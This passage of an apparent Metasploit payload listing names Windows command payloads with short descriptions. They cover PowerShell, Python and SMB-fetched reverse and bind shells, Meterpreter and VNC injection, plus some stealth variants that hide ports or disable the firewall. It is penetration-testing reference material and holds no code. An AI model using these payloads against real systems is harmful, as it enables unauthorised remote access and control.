cmd/windows/powershell/shell/reverse_tcp_allports                  Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)
cmd/windows/powershell/shell/reverse_tcp_dns                       Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Connect back to the attacker
cmd/windows/powershell/shell/reverse_tcp_rc4                       Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Connect back to the attacker
cmd/windows/powershell/shell/reverse_tcp_rc4_dns                   Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Connect back to the attacker
cmd/windows/powershell/shell/reverse_tcp_uuid                      Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Connect back to the attacker with UUID Support
cmd/windows/powershell/shell/reverse_udp                           Execute an x86 payload from a command via PowerShell. Spawn a piped command shell (staged). Connect back to the attacker with UUID Support
cmd/windows/powershell/shell_bind_tcp                              Execute an x86 payload from a command via PowerShell. Listen for a connection and spawn a command shell
cmd/windows/powershell/shell_bind_tcp_xpfw                         Execute an x86 payload from a command via PowerShell. Disable the Windows ICF, then listen for a connection and spawn a command shell
cmd/windows/powershell/shell_hidden_bind_tcp                       Execute an x86 payload from a command via PowerShell. Listen for a connection from certain IP and spawn a command shell. The shellcode will reply with a RST packet if the connections is not coming from the IP defined in AHOST. This way the port will appear as "closed" helping us to hide the shellcode.
cmd/windows/powershell/shell_reverse_tcp                           Execute an x86 payload from a command via PowerShell. Connect back to attacker and spawn a command shell
cmd/windows/powershell/speak_pwned                                 Execute an x86 payload from a command via PowerShell
cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp              Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
cmd/windows/powershell/upexec/bind_hidden_tcp                      Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.
cmd/windows/powershell/upexec/bind_ipv6_tcp                        Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Listen for an IPv6 connection (Windows x86)
cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid                   Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Listen for an IPv6 connection with UUID Support (Windows x86)
cmd/windows/powershell/upexec/bind_named_pipe                      Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Listen for a pipe connection (Windows x86)
cmd/windows/powershell/upexec/bind_nonx_tcp                        Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Listen for a connection (No NX)
cmd/windows/powershell/upexec/bind_tcp                             Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Listen for a connection (Windows x86)
cmd/windows/powershell/upexec/bind_tcp_rc4                         Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Listen for a connection
cmd/windows/powershell/upexec/bind_tcp_uuid                        Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Listen for a connection with UUID Support (Windows x86)
cmd/windows/powershell/upexec/find_tag                             Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Use an established connection
cmd/windows/powershell/upexec/reverse_ipv6_tcp                     Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Connect back to the attacker over IPv6
cmd/windows/powershell/upexec/reverse_nonx_tcp                     Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Connect back to the attacker (No NX)
cmd/windows/powershell/upexec/reverse_ord_tcp                      Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Connect back to the attacker
cmd/windows/powershell/upexec/reverse_tcp                          Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Connect back to the attacker
cmd/windows/powershell/upexec/reverse_tcp_allports                 Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)
cmd/windows/powershell/upexec/reverse_tcp_dns                      Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Connect back to the attacker
cmd/windows/powershell/upexec/reverse_tcp_rc4                      Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Connect back to the attacker
cmd/windows/powershell/upexec/reverse_tcp_rc4_dns                  Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Connect back to the attacker
cmd/windows/powershell/upexec/reverse_tcp_uuid                     Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Connect back to the attacker with UUID Support
cmd/windows/powershell/upexec/reverse_udp                          Execute an x86 payload from a command via PowerShell. Uploads an executable and runs it (staged). Connect back to the attacker with UUID Support
cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp           Execute an x86 payload from a command via PowerShell. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
cmd/windows/powershell/vncinject/bind_hidden_tcp                   Execute an x86 payload from a command via PowerShell. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
cmd/windows/powershell/vncinject/bind_ipv6_tcp                     Execute an x86 payload from a command via PowerShell. Listen for an IPv6 connection (Windows x86)
cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid                Execute an x86 payload from a command via PowerShell. Listen for an IPv6 connection with UUID Support (Windows x86)
cmd/windows/powershell/vncinject/bind_named_pipe                   Execute an x86 payload from a command via PowerShell. Listen for a pipe connection (Windows x86)
cmd/windows/powershell/vncinject/bind_nonx_tcp                     Execute an x86 payload from a command via PowerShell. Listen for a connection (No NX)
cmd/windows/powershell/vncinject/bind_tcp                          Execute an x86 payload from a command via PowerShell. Listen for a connection (Windows x86)
cmd/windows/powershell/vncinject/bind_tcp_rc4                      Execute an x86 payload from a command via PowerShell. Listen for a connection
cmd/windows/powershell/vncinject/bind_tcp_uuid                     Execute an x86 payload from a command via PowerShell. Listen for a connection with UUID Support (Windows x86)
cmd/windows/powershell/vncinject/find_tag                          Execute an x86 payload from a command via PowerShell. Use an established connection
cmd/windows/powershell/vncinject/reverse_http                      Execute an x86 payload from a command via PowerShell. Tunnel communication over HTTP (Windows wininet)
cmd/windows/powershell/vncinject/reverse_http_proxy_pstore         Execute an x86 payload from a command via PowerShell. Tunnel communication over HTTP
cmd/windows/powershell/vncinject/reverse_ipv6_tcp                  Execute an x86 payload from a command via PowerShell. Connect back to the attacker over IPv6
cmd/windows/powershell/vncinject/reverse_nonx_tcp                  Execute an x86 payload from a command via PowerShell. Connect back to the attacker (No NX)
cmd/windows/powershell/vncinject/reverse_ord_tcp                   Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/vncinject/reverse_tcp                       Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/vncinject/reverse_tcp_allports              Execute an x86 payload from a command via PowerShell. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
cmd/windows/powershell/vncinject/reverse_tcp_dns                   Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/vncinject/reverse_tcp_rc4                   Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns               Execute an x86 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/vncinject/reverse_tcp_uuid                  Execute an x86 payload from a command via PowerShell. Connect back to the attacker with UUID Support
cmd/windows/powershell/vncinject/reverse_winhttp                   Execute an x86 payload from a command via PowerShell. Tunnel communication over HTTP (Windows winhttp)
cmd/windows/powershell/x64/custom/bind_ipv6_tcp                    Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection (Windows x64)
cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid               Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/powershell/x64/custom/bind_named_pipe                  Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for a pipe connection (Windows x64)
cmd/windows/powershell/x64/custom/bind_tcp                         Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection (Windows x64)
cmd/windows/powershell/x64/custom/bind_tcp_rc4                     Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker
cmd/windows/powershell/x64/custom/bind_tcp_uuid                    Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection with UUID Support (Windows x64)
cmd/windows/powershell/x64/custom/reverse_http                     Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/powershell/x64/custom/reverse_https                    Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/powershell/x64/custom/reverse_named_pipe               Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker via a named pipe pivot
cmd/windows/powershell/x64/custom/reverse_tcp                      Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker (Windows x64)
cmd/windows/powershell/x64/custom/reverse_tcp_rc4                  Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker
cmd/windows/powershell/x64/custom/reverse_tcp_uuid                 Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/powershell/x64/custom/reverse_winhttp                  Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/powershell/x64/custom/reverse_winhttps                 Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTPS (Windows x64 winhttp)
cmd/windows/powershell/x64/encrypted_shell/reverse_tcp             Execute an x64 payload from a command via PowerShell. Spawn a piped command shell (staged). Connect to MSF and read in stage
cmd/windows/powershell/x64/exec                                    Execute an x64 payload from a command via PowerShell. Execute an arbitrary command (Windows x64)
cmd/windows/powershell/x64/loadlibrary                             Execute an x64 payload from a command via PowerShell. Load an arbitrary x64 library path
cmd/windows/powershell/x64/messagebox                              Execute an x64 payload from a command via PowerShell. Spawn a dialog via MessageBox using a customizable title, text & icon
cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp               Execute an x64 payload from a command via PowerShell. Listen for an IPv6 connection (Windows x64)
cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid          Execute an x64 payload from a command via PowerShell. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/powershell/x64/meterpreter/bind_named_pipe             Execute an x64 payload from a command via PowerShell. Listen for a pipe connection (Windows x64)
cmd/windows/powershell/x64/meterpreter/bind_tcp                    Execute an x64 payload from a command via PowerShell. Listen for a connection (Windows x64)
cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4                Execute an x64 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid               Execute an x64 payload from a command via PowerShell. Listen for a connection with UUID Support (Windows x64)
cmd/windows/powershell/x64/meterpreter/reverse_http                Execute an x64 payload from a command via PowerShell. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/powershell/x64/meterpreter/reverse_https               Execute an x64 payload from a command via PowerShell. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/powershell/x64/meterpreter/reverse_named_pipe          Execute an x64 payload from a command via PowerShell. Connect back to the attacker via a named pipe pivot
cmd/windows/powershell/x64/meterpreter/reverse_tcp                 Execute an x64 payload from a command via PowerShell. Connect back to the attacker (Windows x64)
cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4             Execute an x64 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid            Execute an x64 payload from a command via PowerShell. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/powershell/x64/meterpreter/reverse_winhttp             Execute an x64 payload from a command via PowerShell. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/powershell/x64/meterpreter/reverse_winhttps            Execute an x64 payload from a command via PowerShell. Tunnel communication over HTTPS (Windows x64 winhttp)
cmd/windows/powershell/x64/peinject/bind_ipv6_tcp                  Execute an x64 payload from a command via PowerShell. Listen for an IPv6 connection (Windows x64)
cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid             Execute an x64 payload from a command via PowerShell. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/powershell/x64/peinject/bind_named_pipe                Execute an x64 payload from a command via PowerShell. Listen for a pipe connection (Windows x64)
cmd/windows/powershell/x64/peinject/bind_tcp                       Execute an x64 payload from a command via PowerShell. Listen for a connection (Windows x64)
cmd/windows/powershell/x64/peinject/bind_tcp_rc4                   Execute an x64 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/x64/peinject/bind_tcp_uuid                  Execute an x64 payload from a command via PowerShell. Listen for a connection with UUID Support (Windows x64)
cmd/windows/powershell/x64/peinject/reverse_named_pipe             Execute an x64 payload from a command via PowerShell. Connect back to the attacker via a named pipe pivot
cmd/windows/powershell/x64/peinject/reverse_tcp                    Execute an x64 payload from a command via PowerShell. Connect back to the attacker (Windows x64)
cmd/windows/powershell/x64/peinject/reverse_tcp_rc4                Execute an x64 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/x64/peinject/reverse_tcp_uuid               Execute an x64 payload from a command via PowerShell. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/powershell/x64/pingback_reverse_tcp                    Execute an x64 payload from a command via PowerShell. Connect back to attacker and report UUID (Windows x64)
cmd/windows/powershell/x64/powershell_bind_tcp                     Execute an x64 payload from a command via PowerShell
cmd/windows/powershell/x64/powershell_reverse_tcp                  Execute an x64 payload from a command via PowerShell
cmd/windows/powershell/x64/powershell_reverse_tcp_ssl              Execute an x64 payload from a command via PowerShell
cmd/windows/powershell/x64/shell/bind_ipv6_tcp                     Execute an x64 payload from a command via PowerShell. Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid                Execute an x64 payload from a command via PowerShell. Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/powershell/x64/shell/bind_named_pipe                   Execute an x64 payload from a command via PowerShell. Spawn a piped command shell (Windows x64) (staged). Listen for a pipe connection (Windows x64)
cmd/windows/powershell/x64/shell/bind_tcp                          Execute an x64 payload from a command via PowerShell. Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)
cmd/windows/powershell/x64/shell/bind_tcp_rc4                      Execute an x64 payload from a command via PowerShell. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
cmd/windows/powershell/x64/shell/bind_tcp_uuid                     Execute an x64 payload from a command via PowerShell. Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
cmd/windows/powershell/x64/shell/reverse_tcp                       Execute an x64 payload from a command via PowerShell. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)
cmd/windows/powershell/x64/shell/reverse_tcp_rc4                   Execute an x64 payload from a command via PowerShell. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
cmd/windows/powershell/x64/shell/reverse_tcp_uuid                  Execute an x64 payload from a command via PowerShell. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/powershell/x64/shell_bind_tcp                          Execute an x64 payload from a command via PowerShell. Listen for a connection and spawn a command shell (Windows x64)
cmd/windows/powershell/x64/shell_reverse_tcp                       Execute an x64 payload from a command via PowerShell. Connect back to attacker and spawn a command shell (Windows x64)
cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp                 Execute an x64 payload from a command via PowerShell. Listen for an IPv6 connection (Windows x64)
cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid            Execute an x64 payload from a command via PowerShell. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/powershell/x64/vncinject/bind_named_pipe               Execute an x64 payload from a command via PowerShell. Listen for a pipe connection (Windows x64)
cmd/windows/powershell/x64/vncinject/bind_tcp                      Execute an x64 payload from a command via PowerShell. Listen for a connection (Windows x64)
cmd/windows/powershell/x64/vncinject/bind_tcp_rc4                  Execute an x64 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/x64/vncinject/bind_tcp_uuid                 Execute an x64 payload from a command via PowerShell. Listen for a connection with UUID Support (Windows x64)
cmd/windows/powershell/x64/vncinject/reverse_http                  Execute an x64 payload from a command via PowerShell. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/powershell/x64/vncinject/reverse_https                 Execute an x64 payload from a command via PowerShell. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/powershell/x64/vncinject/reverse_tcp                   Execute an x64 payload from a command via PowerShell. Connect back to the attacker (Windows x64)
cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4               Execute an x64 payload from a command via PowerShell. Connect back to the attacker
cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid              Execute an x64 payload from a command via PowerShell. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/powershell/x64/vncinject/reverse_winhttp               Execute an x64 payload from a command via PowerShell. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/powershell/x64/vncinject/reverse_winhttps              Execute an x64 payload from a command via PowerShell. Tunnel communication over HTTPS (Windows x64 winhttp)
cmd/windows/powershell_bind_tcp                                    Interacts with a powershell session on an established socket connection
cmd/windows/powershell_reverse_tcp                                 Interacts with a powershell session on an established socket connection
cmd/windows/powershell_reverse_tcp_ssl                             Interacts with a powershell session on an established SSL socket connection
cmd/windows/python/exec                                            Execute a Python payload from a command. Execute an arbitrary OS command. Compatible with Python 2.7 and 3.4+.
cmd/windows/python/meterpreter/bind_tcp                            Execute a Python payload from a command. Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection
cmd/windows/python/meterpreter/bind_tcp_uuid                       Execute a Python payload from a command. Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection with UUID Support
cmd/windows/python/meterpreter/reverse_http                        Execute a Python payload from a command. Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP
cmd/windows/python/meterpreter/reverse_https                       Execute a Python payload from a command. Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP using SSL
cmd/windows/python/meterpreter/reverse_tcp                         Execute a Python payload from a command. Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker
cmd/windows/python/meterpreter/reverse_tcp_ssl                     Execute a Python payload from a command. Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Reverse Python connect back stager using SSL
cmd/windows/python/meterpreter/reverse_tcp_uuid                    Execute a Python payload from a command. Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker with UUID Support
cmd/windows/python/meterpreter_bind_tcp                            Execute a Python payload from a command. Connect to the victim and spawn a Meterpreter shell
cmd/windows/python/meterpreter_reverse_http                        Execute a Python payload from a command. Connect back to the attacker and spawn a Meterpreter shell
cmd/windows/python/meterpreter_reverse_https                       Execute a Python payload from a command. Connect back to the attacker and spawn a Meterpreter shell
cmd/windows/python/meterpreter_reverse_tcp                         Execute a Python payload from a command. Connect back to the attacker and spawn a Meterpreter shell
cmd/windows/python/pingback_bind_tcp                               Execute a Python payload from a command. Listens for a connection from the attacker, sends a UUID, then terminates
cmd/windows/python/pingback_reverse_tcp                            Execute a Python payload from a command. Connects back to the attacker, sends a UUID, then terminates
cmd/windows/python/shell_bind_tcp                                  Execute a Python payload from a command. Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.
cmd/windows/python/shell_reverse_sctp                              Execute a Python payload from a command. Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.
cmd/windows/python/shell_reverse_tcp                               Execute a Python payload from a command. Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.
cmd/windows/python/shell_reverse_tcp_ssl                           Execute a Python payload from a command. Creates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.
cmd/windows/python/shell_reverse_udp                               Execute a Python payload from a command. Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.
cmd/windows/reverse_lua                                            Creates an interactive shell via Lua
cmd/windows/reverse_perl                                           Creates an interactive shell via perl
cmd/windows/reverse_powershell                                     Connect back and create a command shell via Powershell
cmd/windows/reverse_ruby                                           Connect back and create a command shell via Ruby
cmd/windows/smb/x64/custom/bind_ipv6_tcp                           Fetch and execute an x64 payload from an SMB server. Custom shellcode stage. Listen for an IPv6 connection (Windows x64)
cmd/windows/smb/x64/custom/bind_ipv6_tcp_uuid                      Fetch and execute an x64 payload from an SMB server. Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/smb/x64/custom/bind_named_pipe                         Fetch and execute an x64 payload from an SMB server. Custom shellcode stage. Listen for a pipe connection (Windows x64)
cmd/windows/smb/x64/custom/bind_tcp                                Fetch and execute an x64 payload from an SMB server. Custom shellcode stage. Listen for a connection (Windows x64)
cmd/windows/smb/x64/custom/bind_tcp_rc4                            Fetch and execute an x64 payload from an SMB server. Custom shellcode stage. Connect back to the attacker
cmd/windows/smb/x64/custom/bind_tcp_uuid                           Fetch and execute an x64 payload from an SMB server. Custom shellcode stage. Listen for a connection with UUID Support (Windows x64)
cmd/windows/smb/x64/custom/reverse_http                            Fetch and execute an x64 payload from an SMB server. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/smb/x64/custom/reverse_https                           Fetch and execute an x64 payload from an SMB server. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/smb/x64/custom/reverse_named_pipe                      Fetch and execute an x64 payload from an SMB server. Custom shellcode stage. Connect back to the attacker via a named pipe pivot
cmd/windows/smb/x64/custom/reverse_tcp                             Fetch and execute an x64 payload from an SMB server. Custom shellcode stage. Connect back to the attacker (Windows x64)
cmd/windows/smb/x64/custom/reverse_tcp_rc4                         Fetch and execute an x64 payload from an SMB server. Custom shellcode stage. Connect back to the attacker
cmd/windows/smb/x64/custom/reverse_tcp_uuid                        Fetch and execute an x64 payload from an SMB server. Custom shellcode stage. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/smb/x64/custom/reverse_winhttp                         Fetch and execute an x64 payload from an SMB server. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/smb/x64/custom/reverse_winhttps                        Fetch and execute an x64 payload from an SMB server. Custom shellcode stage. Tunnel communication over HTTPS (Windows x64 winhttp)
cmd/windows/smb/x64/encrypted_shell/reverse_tcp                    Fetch and execute an x64 payload from an SMB server. Spawn a piped command shell (staged). Connect to MSF and read in stage
cmd/windows/smb/x64/encrypted_shell_reverse_tcp                    Fetch and execute an x64 payload from an SMB server. Connect back to attacker and spawn an encrypted command shell
cmd/windows/smb/x64/exec                                           Fetch and execute an x64 payload from an SMB server. Execute an arbitrary command (Windows x64)
cmd/windows/smb/x64/loadlibrary                                    Fetch and execute an x64 payload from an SMB server. Load an arbitrary x64 library path
cmd/windows/smb/x64/messagebox                                     Fetch and execute an x64 payload from an SMB server. Spawn a dialog via MessageBox using a customizable title, text & icon
cmd/windows/smb/x64/meterpreter/bind_ipv6_tcp                      Fetch and execute an x64 payload from an SMB server. Listen for an IPv6 connection (Windows x64)
cmd/windows/smb/x64/meterpreter/bind_ipv6_tcp_uuid                 Fetch and execute an x64 payload from an SMB server. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/smb/x64/meterpreter/bind_named_pipe                    Fetch and execute an x64 payload from an SMB server. Listen for a pipe connection (Windows x64)
cmd/windows/smb/x64/meterpreter/bind_tcp                           Fetch and execute an x64 payload from an SMB server. Listen for a connection (Windows x64)
cmd/windows/smb/x64/meterpreter/bind_tcp_rc4                       Fetch and execute an x64 payload from an SMB server. Connect back to the attacker
cmd/windows/smb/x64/meterpreter/bind_tcp_uuid                      Fetch and execute an x64 payload from an SMB server. Listen for a connection with UUID Support (Windows x64)
cmd/windows/smb/x64/meterpreter/reverse_http                       Fetch and execute an x64 payload from an SMB server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/smb/x64/meterpreter/reverse_https                      Fetch and execute an x64 payload from an SMB server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/smb/x64/meterpreter/reverse_named_pipe                 Fetch and execute an x64 payload from an SMB server. Connect back to the attacker via a named pipe pivot
cmd/windows/smb/x64/meterpreter/reverse_tcp                        Fetch and execute an x64 payload from an SMB server. Connect back to the attacker (Windows x64)
cmd/windows/smb/x64/meterpreter/reverse_tcp_rc4                    Fetch and execute an x64 payload from an SMB server. Connect back to the attacker
cmd/windows/smb/x64/meterpreter/reverse_tcp_uuid                   Fetch and execute an x64 payload from an SMB server. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/smb/x64/meterpreter/reverse_winhttp                    Fetch and execute an x64 payload from an SMB server. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/smb/x64/meterpreter/reverse_winhttps                   Fetch and execute an x64 payload from an SMB server. Tunnel communication over HTTPS (Windows x64 winhttp)
cmd/windows/smb/x64/meterpreter_bind_named_pipe                    Fetch and execute an x64 payload from an SMB server. Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/smb/x64/meterpreter_bind_tcp                           Fetch and execute an x64 payload from an SMB server. Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/smb/x64/meterpreter_reverse_http                       Fetch and execute an x64 payload from an SMB server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/smb/x64/meterpreter_reverse_https                      Fetch and execute an x64 payload from an SMB server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/smb/x64/meterpreter_reverse_ipv6_tcp                   Fetch and execute an x64 payload from an SMB server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/smb/x64/meterpreter_reverse_tcp                        Fetch and execute an x64 payload from an SMB server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/smb/x64/peinject/bind_ipv6_tcp                         Fetch and execute an x64 payload from an SMB server. Listen for an IPv6 connection (Windows x64)
cmd/windows/smb/x64/peinject/bind_ipv6_tcp_uuid                    Fetch and execute an x64 payload from an SMB server. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/smb/x64/peinject/bind_named_pipe                       Fetch and execute an x64 payload from an SMB server. Listen for a pipe connection (Windows x64)
cmd/windows/smb/x64/peinject/bind_tcp                              Fetch and execute an x64 payload from an SMB server. Listen for a connection (Windows x64)
cmd/windows/smb/x64/peinject/bind_tcp_rc4                          Fetch and execute an x64 payload from an SMB server. Connect back to the attacker
cmd/windows/smb/x64/peinject/bind_tcp_uuid                         Fetch and execute an x64 payload from an SMB server. Listen for a connection with UUID Support (Windows x64)
cmd/windows/smb/x64/peinject/reverse_named_pipe                    Fetch and execute an x64 payload from an SMB server. Connect back to the attacker via a named pipe pivot
cmd/windows/smb/x64/peinject/reverse_tcp                           Fetch and execute an x64 payload from an SMB server. Connect back to the attacker (Windows x64)
cmd/windows/smb/x64/peinject/reverse_tcp_rc4                       Fetch and execute an x64 payload from an SMB server. Connect back to the attacker
cmd/windows/smb/x64/peinject/reverse_tcp_uuid                      Fetch and execute an x64 payload from an SMB server. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/smb/x64/pingback_reverse_tcp                           Fetch and execute an x64 payload from an SMB server. Connect back to attacker and report UUID (Windows x64)
cmd/windows/smb/x64/powershell_bind_tcp                            Fetch and execute an x64 payload from an SMB server.
cmd/windows/smb/x64/powershell_reverse_tcp                         Fetch and execute an x64 payload from an SMB server.
cmd/windows/smb/x64/powershell_reverse_tcp_ssl                     Fetch and execute an x64 payload from an SMB server.
cmd/windows/smb/x64/shell/bind_ipv6_tcp                            Fetch and execute an x64 payload from an SMB server. Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
cmd/windows/smb/x64/shell/bind_ipv6_tcp_uuid                       Fetch and execute an x64 payload from an SMB server. Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/smb/x64/shell/bind_named_pipe                          Fetch and execute an x64 payload from an SMB server. Spawn a piped command shell (Windows x64) (staged). Listen for a pipe connection (Windows x64)
cmd/windows/smb/x64/shell/bind_tcp                                 Fetch and execute an x64 payload from an SMB server. Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)
cmd/windows/smb/x64/shell/bind_tcp_rc4                             Fetch and execute an x64 payload from an SMB server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
cmd/windows/smb/x64/shell/bind_tcp_uuid                            Fetch and execute an x64 payload from an SMB server. Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
cmd/windows/smb/x64/shell/reverse_tcp                              Fetch and execute an x64 payload from an SMB server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)
cmd/windows/smb/x64/shell/reverse_tcp_rc4                          Fetch and execute an x64 payload from an SMB server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
